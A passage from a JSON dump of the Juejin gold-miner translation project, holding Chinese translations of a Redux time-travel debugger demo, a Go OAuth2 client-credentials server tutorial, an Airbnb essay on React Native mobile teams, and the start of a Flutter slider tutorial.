id=\"background\"></span></div>\n    <div id=\"debugger\">\n      <div>\n        <button id=\"previous\">\n          previous\n        </button>\n        <button id=\"next\">\n          next\n        </button>\n      </div>\n      <div id=\"timeline\"></div>\n    </div>\n    <style>\n      html, body {\n        width: 100vw;\n        height: 100vh;\n      }\n      #debugger {\n        margin-top: 30px;\n      }\n    </style>\n    <script>\n      const textNode = document.getElementById('background');\n      const timelineNode = document.getElementById('timeline');\n      const createStore = (reducer, initialState) => {\n        const store = {};\n        store.state = initialState;\n        store.listeners = [];\n        store.getState = () => store.state;\n        store.subscribe = listener => {\n          store.listeners.push(listener);\n        };\n        store.dispatch = action => {\n          console.log('> Action', action);\n          store.state = reducer(store.state, action);\n          store.listeners.forEach(listener => listener());\n        };\n        return store;\n      };\n      const getInitialState = () => {\n        return {\n          r: 255,\n          g: 255,\n          b: 255,\n        };\n      };\n      const reducer = (state = getInitialState(), action) => {\n        switch (action.type) {\n          case 'SET_RGB':\n            return {\n              r: action.payload.r,\n              g: action.payload.g,\n              b: action.payload.b,\n            };\n          default:\n            return state;\n        }\n      };\n      const store = createStore(reducer);\n      const setBackgroundColor = () => {\n        const state = store.getState();\n        const { r, g, b } = state;\n        const rgb = `rgb(${r}, ${g}, ${b})`;\n        document.body.style.backgroundColor = rgb;\n        textNode.innerHTML = rgb;\n      };\n      store.subscribe(setBackgroundColor);\n      const generateRandomColor = () => {\n        return Math.floor(Math.random() * 255);\n      };\n      // 一个简单的事件用于派发数据变化\n      document.addEventListener('click', () => {\n        console.log('----- Previous state', store.getState());\n        store.dispatch({\n          type: 'SET_RGB',\n          payload: {\n            r: generateRandomColor(),\n            g: generateRandomColor(),\n            b: generateRandomColor(),\n          },\n        });\n        console.log('+++++ New state', store.getState());\n      });\n      const timeline = [];\n      let activeItem = 0;\n      const saveTimeline = () => {\n        timeline.push(store.getState());\n        timelineNode.innerHTML = timeline\n          .map(item => JSON.stringify(item))\n          .join('<br/>');\n        activeItem = timeline.length - 1;\n      };\n      store.subscribe(saveTimeline);\n      // 仅供调试\n      store.setState = desiredState => {\n        store.state = desiredState;\n        // 假设调试器（译者注：上文的 saveTimeline ）是最后被注入（到 store.listeners ）的，\n        // 我们并不想在调试时更新 timeline 中已存储的状态，所以我们把它排除掉。\n        const applicationListeners = store.listeners.slice(0, -1);\n        applicationListeners.forEach(listener => listener());\n      };\n      const previous = document.getElementById('previous');\n      const next = document.getElementById('next');\n      previous.addEventListener('click', e => {\n        e.preventDefault();\n        e.stopPropagation();\n        let index = activeItem - 1;\n        index = index <= 0 ? 0 : index;\n        activeItem = index;\n        const desiredState = timeline[index];\n        store.setState(desiredState);\n      });\n      next.addEventListener('click', e => {\n        e.preventDefault();\n        e.stopPropagation();\n        let index = activeItem + 1;\n        index = index >= timeline.length - 1 ? timeline.length - 1 : index;\n        activeItem = index;\n        const desiredState = timeline[index];\n        store.setState(desiredState);\n      });\n      store.dispatch({}); // 设置初始状态\n    </script>\n  </body>\n</html>\n```\n\n### 总结\n\n我们的时间旅行式调试的教学示范实现向我们展现了 Redux 的核心准则。我们可以毫不费劲地跟踪我们应用程序中不断变化的状态，便于调试和了解正在发生的事情。\n\n* * *\n\n如果你觉得本文有用，请点击 ❤。[订阅我](https://medium.com/@treyhuffine) 可以看到更多关于 blockchain、React、Node.js、JavaScript 和开源软件的文章！你也可以在 [Twitter](https://twitter.com/treyhuffine) 或 [gitconnected](https://gitconnected.com/treyhuffine) 上找到我。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/build-your-own-oauth2-server-in-go.md",
    "content": "> * 原文地址：[Build your Own OAuth2 Server in Go: Client Credentials Grant Flow](https://hackernoon.com/build-your-own-oauth2-server-in-go-7d0f660732c3)\n> * 原文作者：[Cyan Tarek](https://hackernoon.com/@cyantarek)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/build-your-own-oauth2-server-in-go.md](https://github.com/xitu/gold-miner/blob/master/TODO1/build-your-own-oauth2-server-in-go.md)\n> * 译者：[shixi-li](https://github.com/shixi-li)\n> * 校对者：[JackEggie](https://github.com/JackEggie), [LucaslEliane](https://github.com/LucaslEliane)\n\n# 在 GO 语言中创建你自己的 OAuth2 服务：客户端凭据授权流程\n\n![](https://cdn-images-1.medium.com/max/2600/0*mtbIDJPdV4cD8Xgo)\n\n嗨，在今天的文章中，我会向大家展示怎么构建属于每个人自己的 OAuth2 服务器，就像 google、facebook 和 github 等公司一样。\n\n如果你想构建用于生产环境的公共或者私有 API，这都会是很有帮助的。所以现在让我们开始吧。\n\n### 什么是 OAuth2?\n\n开放授权版本 2.0 被称为 OAuth2。它是一种保护 RESTful Web 服务的协议或者说是框架。OAuth2 非常强大。由于 OAuth2 坚如磐石的安全性，所以现在大多数的 REST API 都通过 OAuth2 进行保护。\n\n#### OAuth2 具有两个部分\n\n01. 客户端\n\n02. 服务端\n\n### OAuth2 服务端\n\n![](https://cdn-images-1.medium.com/max/1600/0*ojCsrGLMlae6xw62.png)\n\n如果你熟悉这个界面，你就会知道我将要说什么。但是无论熟悉与否，都让我来讲一下这个图片背后的故事吧。\n\n你正在构建一个面向用户的应用程序，它是与用户的 github 仓库协同使用的。比如：就像是 TravisCI、CircleCI 和 Drone 等 CI 工具。\n\n但是用户的 github 账户是被保护的，如果所有者不愿意任何人都无权访问。那么这些 CI 工具如何访问用户的 github 帐户和仓库的呢？\n\n这其实很简单。\n\n你的应用程序会询问用户\n\n> **“为了与我们的服务协作，我们需要得到你的 github 仓库的读取权限。你同意吗？”**\n\n然后这个用户就会说\n\n> **“我同意。你们可以去做你们需要做的事儿啦。\"**\n\n然后你的应用程序会请求 github 的权限管理以获得那个特定用户的 github 访问权限。Github 会检查是否属实并要求该用户进行授权。通过之后 github 就会给这个客户端发送一个临时的令牌。\n\n现在，当你的应用程序得到身份验证和授权以后需要访问 github 时，就需要把这个令牌在请求中间带过去，github 收到了之后就会想：\n\n> **“咦，这个访问令牌看起来很眼熟嘛，应该是我们之前就给过你了。好，你可以访问了”**\n\n这是一个很长的流程。但是时代已经变啦，现在你不用每次都去 github 授权中心（当然我们从来也不需要这样）。每件事都可以自动化地完成。\n\n但是怎么完成呢？\n\n![](https://cdn-images-1.medium.com/max/1600/0*wGuxcdSwF1vaOaH9)\n\n这是我前几分钟讨论的内容所对应的 UML 时序图。就是一个对应的图形表示。\n\n从上图中，我们可以发现几点重要的东西。\n\n**OAuth2 有 4 个角色：**\n\n01. 用户 — 最终使用你的应用程序的用户\n\n02. 客户端 — 就是你构建的那个会使用 github 账户的应用程序，也就是用户会使用的东西\n\n03. 鉴权服务器 — 这个服务器主要处理 OAuth 相关事务\n\n04. 资源服务器 — 这个服务器有那些被保护的资源。比如说 github\n\n客户端代表用户向鉴权服务器发送 OAuth2 请求。\n\n构建一个 OAuth2 客户端不算简单但也不算困难。听起来很有趣对吧？我们会在下一个部分来实际操作。\n\n但在这个部分，我们会去这个世界的另一面看看。我们会构建我们自己的 OAuth2 服务端。这并不简单但是很有趣。\n\n准备好了吗？让我们开始吧\n\n### OAuth2 服务器\n\n你也许会问我\n\n> **“Cyan 等一下，为什么要构建一个 OAuth2 服务器啊？”**\n\n朋友你忘了吗？我之前说了这一点的啊。好吧，让我再次告诉你。\n\n想象一下，你构建了一个非常棒的应用程序，它可以提供准确的天气信息（现在已经有很多这种类型的 API 了）。现在你希望把它变得开放让公众都可以使用或者你想靠它来赚钱了。\n\n但无论什么情况，你都需要保护你的资源免受未经授权的访问或者恶意的攻击。 所以你需要保护你的 API 资源。那这里就需要用到 OAuth2 啦。对吧！\n\n从上图中我们可以看到，鉴权服务器需要放置在 REST API 资源服务器之前。这就是我们要讨论的东西。这个鉴权服务器需要根据 OAuth2 规范构建。然后我们就会变成第一张图片里面的 github 啦，哈哈哈哈开玩笑的。\n\nOAuth2 服务器的主要目标是给客户端提供访问的令牌。这也就是为什么 OAuth2 服务器也被称作 OAuth2 提供者，因为他们可以提供令牌。\n\n这个解释就说这么多啦。\n\n**基于鉴权流程有 4 种不同的 OAuth2 服务器模式：**\n\n01. 授权码模式\n\n02. 隐式授权模式\n\n03. 客户端验证模式\n\n04. 密码模式\n\n如果你想了解更多关于 OAuth2 的东西，请看 [**这里的**](https://itnext.io/an-oauth-2-0-introduction-for-beginners-6e386b19f7a9) 精彩文章。\n\n在本文中，我们会使用 **客户端验证模式**。咱们来深入了解一下吧。\n\n### 基于服务器的客户端凭据授权流程\n\n在构建基于 OAuth2 服务器的客户端凭据授权流程时，我们需要了解一些东西。\n\n在这个授权类型里面没有用户交互 (也就是指没有注册，登录)。而是需要两个东西，它们是 **客户端 ID** 和 **客户端密钥**。有了这两个东西，我们就可以获取到 **访问令牌**。客户端就是第三方的应用程序。当需要在没有用户机制或者是仅通过客户端应用程序，想要访问资源服务器的时候，这种授权方式是简便且适合的。\n\n![](https://cdn-images-1.medium.com/max/1600/0*7X5b1VSQ2zC4MMin.png)\n\n这就是对应的 UML 时序图。\n\n### 编码\n\n为了构建这个项目，我们需要依赖一个非常棒的 Go 语言包。\n\n首先，我们需要开发一个简单的 API 服务作为资源服务器。\n\n```\npackage main\n\nimport (\n\t\"log\"\n\t\"net/http\"\n)\n\nfunc main() {\n\thttp.HandleFunc(\"/protected\", validateToken(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Write([]byte(\"Hello, I'm protected\"))\n\t}, srv))\n\n\tlog.Fatal(http.ListenAndServe(\":9096\", nil))\n}\n```\n\n运行这个服务并且发送 Get 请求到 [http://localhost:9096/protected](http://localhost:5555/protected)\n\n你会得到响应。\n\n这个服务受到什么类型的保护呢？\n\n即使将这个接口的名字定义为 protected，但是任何人都可以请求它。我们需要将这个接口使用 OAuth2 保护。\n\n现在我们就要编写我们自己的授权服务。\n\n#### 路由\n\n01. **/credentials** 用于颁发客户端凭据 （客户端 ID 和客户端密钥）\n\n02. **/token** 使用客户端凭据颁发令牌\n\n我们需要实现这两个路由。\n\n这里是初步的设置\n\n```\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/google/uuid\"\n\t\"gopkg.in/oauth2.v3/models\"\n\t\"log\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"gopkg.in/oauth2.v3/errors\"\n\t\"gopkg.in/oauth2.v3/manage\"\n\t\"gopkg.in/oauth2.v3/server\"\n\t\"gopkg.in/oauth2.v3/store\"\n)\n\nfunc main() {\n   manager := manage.NewDefaultManager()\n   manager.SetAuthorizeCodeTokenCfg(manage.DefaultAuthorizeCodeTokenCfg)\n\n   manager.MustTokenStorage(store.NewMemoryTokenStore())\n\n   clientStore := store.NewClientStore()\n   manager.MapClientStorage(clientStore)\n\n   srv := server.NewDefaultServer(manager)\n   srv.SetAllowGetAccessRequest(true)\n   srv.SetClientInfoHandler(server.ClientFormHandler)\n   manager.SetRefreshTokenCfg(manage.DefaultRefreshTokenCfg)\n\n   srv.SetInternalErrorHandler(func(err error) (re *errors.Response) {\n      log.Println(\"Internal Error:\", err.Error())\n      return\n   })\n\n   srv.SetResponseErrorHandler(func(re *errors.Response) {\n      log.Println(\"Response Error:\", re.Error.Error())\n   })\n\t\n   http.HandleFunc(\"/protected\", func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Write([]byte(\"Hello, I'm protected\"))\n   })\n\n   log.Fatal(http.ListenAndServe(\":9096\", nil))\n}\n```\n\n这里我们创建了一个管理器，用于客户端存储和鉴权服务本身。\n\n这里是 **/credentials** 路由的实现：\n\n```\nhttp.HandleFunc(\"/credentials\", func(w http.ResponseWriter, r *http.Request) {\n   clientId := uuid.New().String()[:8]\n   clientSecret := uuid.New().String()[:8]\n   err := clientStore.Set(clientId, &models.Client{\n      ID:     clientId,\n      Secret: clientSecret,\n      Domain: \"http://localhost:9094\",\n   })\n   if err != nil {\n      fmt.Println(err.Error())\n   }\n\n   w.Header().Set(\"Content-Type\", \"application/json\")\n   json.NewEncoder(w).Encode(map[string]string{\"CLIENT_ID\": clientId, \"CLIENT_SECRET\": clientSecret})\n})\n```\n\n它创建了两个随机字符串，一个就是客户端 ID，另一个就是客户端密钥。并把它们保存到客户端存储。然后就会返回响应。就是这样。在这里我们使用了内存存储，但我们同样可以把它们存储到 redis，mongodb，postgres 等等里面。\n\n这里是 **/token** 路由的实现：\n\n```\nhttp.HandleFunc(\"/token\", func(w http.ResponseWriter, r *http.Request) {\n   srv.HandleTokenRequest(w, r)\n})\n```\n\n这非常简单。它将请求和响应传递给适当的处理程序，以便服务器可以解码请求中的所有必要的数据。\n\n所以以下就是我们的整体代码：\n\n```\npackage main\n\nimport (\n   \"encoding/json\"\n   \"fmt\"\n   \"github.com/google/uuid\"\n   \"gopkg.in/oauth2.v3/models\"\n   \"log\"\n   \"net/http\"\n   \"time\"\n\n   \"gopkg.in/oauth2.v3/errors\"\n   \"gopkg.in/oauth2.v3/manage\"\n   \"gopkg.in/oauth2.v3/server\"\n   \"gopkg.in/oauth2.v3/store\"\n)\n\nfunc main() {\n   manager := manage.NewDefaultManager()\n   manager.SetAuthorizeCodeTokenCfg(manage.DefaultAuthorizeCodeTokenCfg)\n\n   manager.MustTokenStorage(store.NewMemoryTokenStore())\n\n   clientStore := store.NewClientStore()\n   manager.MapClientStorage(clientStore)\n\n   srv := server.NewDefaultServer(manager)\n   srv.SetAllowGetAccessRequest(true)\n   srv.SetClientInfoHandler(server.ClientFormHandler)\n   manager.SetRefreshTokenCfg(manage.DefaultRefreshTokenCfg)\n\n   srv.SetInternalErrorHandler(func(err error) (re *errors.Response) {\n      log.Println(\"Internal Error:\", err.Error())\n      return\n   })\n\n   srv.SetResponseErrorHandler(func(re *errors.Response) {\n      log.Println(\"Response Error:\", re.Error.Error())\n   })\n\n   http.HandleFunc(\"/token\", func(w http.ResponseWriter, r *http.Request) {\n      srv.HandleTokenRequest(w, r)\n   })\n\n   http.HandleFunc(\"/credentials\", func(w http.ResponseWriter, r *http.Request) {\n      clientId := uuid.New().String()[:8]\n      clientSecret := uuid.New().String()[:8]\n      err := clientStore.Set(clientId, &models.Client{\n         ID:     clientId,\n         Secret: clientSecret,\n         Domain: \"http://localhost:9094\",\n      })\n      if err != nil {\n         fmt.Println(err.Error())\n      }\n\n      w.Header().Set(\"Content-Type\", \"application/json\")\n      json.NewEncoder(w).Encode(map[string]string{\"CLIENT_ID\": clientId, \"CLIENT_SECRET\": clientSecret})\n   })\n   \n   http.HandleFunc(\"/protected\", func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Write([]byte(\"Hello, I'm protected\"))\n   })\n   log.Fatal(http.ListenAndServe(\":9096\", nil))\n}\n```\n\n运行这个代码并到 [http://localhost:9096/credentials](http://localhost:9096/credentials) 路由去注册并获取客户端 ID 和客户端密钥。\n\n现在去到这个链接 http://localhost:9096/token?grant_type=client_credentials&client_id=2e14f7dd&client_secret=c729e9d0&scope=all\n\n你可以得到具有过期时间和一些其他信息的授权令牌。\n\n现在我们得到了我们的授权令牌。但是我们的 /protected 路由依然没有被保护。我们需要设置一个方法来检查每个客户端的请求是否都带有有效的令牌。如果是的，我们就可以给予这个客户端授权。反之就不能给予授权。\n\n我们可以通过一个中间件来做到这一点。\n\n如果你知道你在做什么，那么在 golang 中编写中间件会很有趣。以下就是中间件的代码：\n\n```\nfunc validateToken(f http.HandlerFunc, srv *server.Server) http.HandlerFunc {\n   return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n      _, err := srv.ValidationBearerToken(r)\n      if err != nil {\n         http.Error(w, err.Error(), http.StatusBadRequest)\n         return\n      }\n\n      f.ServeHTTP(w, r)\n   })\n}\n```\n\n这里将检查请求是否带有有效的令牌并采取对应的措施。\n\n现在我们需要使用 适配器/装饰者 模式来将中间件放在我们的 /protected 路由前面。\n\n```\nhttp.HandleFunc(\"/protected\", validateToken(func(w http.ResponseWriter, r *http.Request) {\n   w.Write([]byte(\"Hello, I'm protected\"))\n}, srv))\n```\n\n现在整个代码看起来像这样子：\n\n```\npackage main\n\nimport (\n   \"encoding/json\"\n   \"fmt\"\n   \"github.com/google/uuid\"\n   \"gopkg.in/oauth2.v3/models\"\n   \"log\"\n   \"net/http\"\n   \"time\"\n\n   \"gopkg.in/oauth2.v3/errors\"\n   \"gopkg.in/oauth2.v3/manage\"\n   \"gopkg.in/oauth2.v3/server\"\n   \"gopkg.in/oauth2.v3/store\"\n)\n\nfunc main() {\n   manager := manage.NewDefaultManager()\n   manager.SetAuthorizeCodeTokenCfg(manage.DefaultAuthorizeCodeTokenCfg)\n\n   // token memory store\n   manager.MustTokenStorage(store.NewMemoryTokenStore())\n\n   // client memory store\n   clientStore := store.NewClientStore()\n   \n   manager.MapClientStorage(clientStore)\n\n   srv := server.NewDefaultServer(manager)\n   srv.SetAllowGetAccessRequest(true)\n   srv.SetClientInfoHandler(server.ClientFormHandler)\n   manager.SetRefreshTokenCfg(manage.DefaultRefreshTokenCfg)\n\n   srv.SetInternalErrorHandler(func(err error) (re *errors.Response) {\n      log.Println(\"Internal Error:\", err.Error())\n      return\n   })\n\n   srv.SetResponseErrorHandler(func(re *errors.Response) {\n      log.Println(\"Response Error:\", re.Error.Error())\n   })\n\n   http.HandleFunc(\"/token\", func(w http.ResponseWriter, r *http.Request) {\n      srv.HandleTokenRequest(w, r)\n   })\n\n   http.HandleFunc(\"/credentials\", func(w http.ResponseWriter, r *http.Request) {\n      clientId := uuid.New().String()[:8]\n      clientSecret := uuid.New().String()[:8]\n      err := clientStore.Set(clientId, &models.Client{\n         ID:     clientId,\n         Secret: clientSecret,\n         Domain: \"http://localhost:9094\",\n      })\n      if err != nil {\n         fmt.Println(err.Error())\n      }\n\n      w.Header().Set(\"Content-Type\", \"application/json\")\n      json.NewEncoder(w).Encode(map[string]string{\"CLIENT_ID\": clientId, \"CLIENT_SECRET\": clientSecret})\n   })\n\n   http.HandleFunc(\"/protected\", validateToken(func(w http.ResponseWriter, r *http.Request) {\n      w.Write([]byte(\"Hello, I'm protected\"))\n   }, srv))\n\n   log.Fatal(http.ListenAndServe(\":9096\", nil))\n}\n\nfunc validateToken(f http.HandlerFunc, srv *server.Server) http.HandlerFunc {\n   return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n      _, err := srv.ValidationBearerToken(r)\n      if err != nil {\n         http.Error(w, err.Error(), http.StatusBadRequest)\n         return\n      }\n\n      f.ServeHTTP(w, r)\n   })\n}\n```\n\n现在运行服务并在 URL 不带有 **访问令牌** 的情况下访问 **/protected** 接口。或者尝试使用错误的 **访问令牌**。在这两种方式下鉴权服务都会阻止你。\n\n现在再次从服务器获得**认证信息** and **访问令牌** 并发送请求到受保护的接口：\n\nhttp://localhost:9096/test?access_token=YOUR_ACCESS_TOKEN\n\n对啦！你现在有权限访问啦。\n\n现在我们已经学会了怎么使用 Go 来设置我们自己的 OAuth2 服务器。\n\n在下一部分中。我们会在 Go 中构建我们自己的 OAuth2 客户端。并且在最后一部分，我们会基于登录和授权构建我们自己的 **基于服务器的授权码模式**。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-a-cross-platform-mobile-team.md",
    "content": "> * 原文地址：[Building a Cross-Platform Mobile Team: Adapting mobile for a world with React Native](https://medium.com/airbnb-engineering/building-a-cross-platform-mobile-team-3e1837b40a88)\n> * 原文作者：[Gabriel Peal](https://medium.com/@gpeal?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-cross-platform-mobile-team.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-cross-platform-mobile-team.md)\n> * 译者：[ALVINYEH](https://github.com/ALVINYEH)\n> * 校对者：[DateBro](https://github.com/DateBro)\n\n# 建立一个跨平台的移动端团队\n\n## 使用 React Native 适应移动端\n\n![](https://cdn-images-1.medium.com/max/2000/1*3WNSZyXGOWKJyPT9r8VY8Q.jpeg)\n\n**这是[系列博客文章](https://juejin.im/post/5b2c924ff265da59a401f050)中的第三篇，本文将会概述使用 React Native 的经验，以及 Airbnb 移动端接下来要做的事情。**\n\n除了 React Native 数不清的技术优势和缺陷之外，我们还了解到 React Native 对于一个工程组织意味着什么。采用它比在现有平台添加新库或模式要复杂得多。这同时也带来了一些组织上的挑战。与通常可以有效解决的技术挑战不同，组织上的挑战更难以发现，纠正和恢复。不过值得庆幸的是，我们的手机文化是健康的，但在考虑 React Native 时有很多事情需要注意。\n\n#### React Native 呈现出两极化\n\n根据我们的经验，工程师们在刚接触 React Native 时候，提出了截然不同的观点，从赞扬它将会成为集 Android、iOS 和 Web 的银弹，到完全反对在团队中 React Native 的任何使用。在正式投入使用了之后也是这样的情况。一些团队有着令人难以置信的经历，而其他团队则为此后悔不已，并重回原生的怀抱。\n\n#### 根本原因\n\n在使用 React Native 时，存在一些不可避免的错误，改进和性能问题。但是，有很多动人的东西：\n\n1.  React Native 本身迭代速度很快。\n2.  我们可以同时进行基础架构和功能的开发。\n3.  工程师们可以一起学习 React Native，这门语言对每个人相对来说都是比较新的。\n4.  我们在开发和正式生产环境中进行调试的文档和指南有时不一致，可能会造成混淆。\n\n因此，通常很难找到问题的根本原因。有时候，不清楚问题出在哪个团队，或者这个问题是不是 React Native 固有的问题。\n\n#### React Native 仍然需要原生\n\n一个常见的误解是，React Native 允许你完全不用编写原生代码。然而，事情并不是这样的。React Native 的原生基础有时还会继续向前发展。例如，每个平台上的文本渲染略有不同，键盘处理方式不同，并且默认情况下在 Android 上旋转时重新创建 Activity。一个高质量的 React Native 体验，需要仔细地保持不同平台的平衡。再加上，开发者难以精通三种平台上的专业知识，因此在开发中始终难以实现优质体验。\n\n#### 跨平台调试\n\n大多数工程师都能精通一或两个平台。很少有人能同时精通 Android、iOS 和 React。尽管成熟的 React Native 环境中，绝大多数工作都是通过 JavaScript 和 React 完成的，但有时构建或调试某些东西需要钻研原生的东西。这些情况可能导致工程师在他们从未使用过的平台上调试时，陷入专业知识之外的困境。更糟糕的是，由于根本原因难以确定，工程师甚至不确定往什么方向定位问题。\n\n#### 持续招聘\n\n尽管我们投入使用 React Native，但我们移动端的野心和团队仍在同步扩大。然而，通过社区口碑，许多人开始将 Airbnb 与 React Native 联系起来，甚至有人认为我们的应用是 100％ React Native。尽管事实远非如此，但许多 Android 和 iOS 工程师也因此不愿意申请来 Airbnb。以防你是其中之一，[我们还在招人呢](https://www.airbnb.com/careers/departments/engineering)！\n\n#### 混合应用很难实现\n\n100％ 原生或 100％ React Native 的路相对简单。但是，一旦你在代码库中混合使用了，就会出现许多新问题。你如何分配你的团队？团队如何协作？如何在你的应用中共享状态？如何确保代码得到测试？工程师如何在三个平台上进行有效调试？如何决定使用哪个平台来实现新功能？如何在整个组织中聘用和分配资源？这些都是非常重要的需要解决方案的问题，如果你沿着这条路一直走下去，就不可避免地会出现这些问题。\n\n#### 三种开发环境\n\n为了成为一名高效率的 React Native 工程师，拥有稳定且最新的 React Native、Android 和 iOS 环境非常重要。对于像 Airbnb 这样大的组织来说，每个平台都需要大量时间来配置，学习并保持最新状态。短短几周后，常常意味着要花费几个小时，才能使所有东西都恢复到最新状态。\n\n#### Balancing Native vs React Native\n\n在许多情况下，问题的最佳解决方案需要跨越原生和 React Native。例如，我们导航的实现大量使用 Activity 和 ViewController，其大部分代码都是原生的，适用于每个平台。但很多时候，不清楚代码是否应该用原生或 React Native 编写。当然，工程师通常会选择他们更舒适的平台，但是这可能导致代码不太理想。\n\n#### 跨平台测试\n\n我们发现，由于方便或舒适，工程师主要在一个平台上进行开发。通常，他们会假设如果它在他们测试的平台上正常工作，那么它在全平台同理也能完美运行。大多数情况下，这证明了 React Native 优势。然而，这往往不是真实的情况，它最终会导致在 QA 周期的后期或生产环境中频繁发生问题。\n\n#### 拆分团队\n\n在原生以及 React Native 工作的团队，经常面临技术和沟通方面的挑战。一旦代码库在原生和 React Native 之间拆分，代码就会变得支离破碎。共享业务逻辑、模型、状态等变成更具挑战性的难题，工程师不再具备在整个流程中工作的专业知识。我们知道，这个问题从一开始就存在，但认为可能会通过与 Web 的更多合作来平衡。一些团队确实开始通过 Web 和移动设备共享资源和代码，但是大多数团队没有意识到这一潜在的好处。\n\n#### 感知迭代速度\n\n我们使用 React Native 的质量目标之一，就是提高开发速度。通常，React Native 的功能是由单个工程师编写的，而不是针对每个平台编写的。从 React Native 工程师的角度来看，如果他们比在 Android 或 iOS 上花费的时间多 50％，即使总体的花费的时间更少，他们也会觉得花费的时间更长。\n\n#### 公共资源和文件\n\nAndroid 和 iOS 已有十年的时间了，有数百万的工程师为学习资源、开源和在线帮助都贡献了不少力量。我们利用 [CodePath](https://codepath.com/androidbootcamp) 等许多资源来帮助人们学习 Android 和 iOS。尽管 React Native 拥有最大的跨平台社区之一，并且可以利用 React 资源，但它相比 Android 和 iOS 还小得多。再加上我们必须在内部建设大部分基础架构，这一事实意味着，相对于原生资源，我们有限的 React Native 资源在教育和培训上会投入过大。\n\n* * *\n\n这是系列博客文章的第三部分，重点讲述了我们使用 React Native 的经验，以及 Airbnb 移动端接下来要做的事情。\n \n*   [第一部分：Airbnb 中的 React Native](https://juejin.im/post/5b2c924ff265da59a401f050)\n*   [第二部分：技术细节](https://juejin.im/post/5b3b40a26fb9a04fab44e797)\n*   [**第三部分：构建跨平台的移动端团队**](https://github.com/xitu/gold-miner/blob/master/TODO1/sunsetting-react-native.md)\n*   [第四部分：在 React Native 上作出的决策](https://github.com/xitu/gold-miner/blob/master/TODO1/sunsetting-react-native.md)\n*   [第五部分：移动端接下来的事情](https://github.com/xitu/gold-miner/blob/master/TODO1/whats-next-for-mobile-at-airbnb.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/building-a-custom-slider-in-flutter-with-gesturedetector.md",
    "content": "> * 原文地址：[Building a Custom Slider in Flutter with GestureDetector](https://medium.com/@rjstech/building-a-custom-slider-in-flutter-with-gesturedetector-fcdd76224acd)\n> * 原文作者：[RJS Tech](https://medium.com/@rjstech/building-a-custom-slider-in-flutter-with-gesturedetector-fcdd76224acd)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-custom-slider-in-flutter-with-gesturedetector.md](https://github.com/xitu/gold-miner/blob/master/TODO1/building-a-custom-slider-in-flutter-with-gesturedetector.md)\n> * 译者：[ALVINYEH](https://github.com/ALVINYEH)\n> * 校对者：\n\n# 使用 Flutter 的 GestureDetector 构建自定义滑块\n\n![](https://cdn-images-1.medium.com/max/1600/1*jIONll1unU_jcNHgv0C5qg.png)\n\nFlutter 的一大优点是，可以轻松创建自定义 UI。在本教程中，我们将看到这一点。\n\n首先，我们先停下来思考一下，需要构建什么内容。我们应该有一个滑块，并在其顶部显示填充的百分比。\n\n在此之前，很明显我们需要维护一个窗口小控件，它显示一个已填充的给定百分比的进度条。在构建 UI 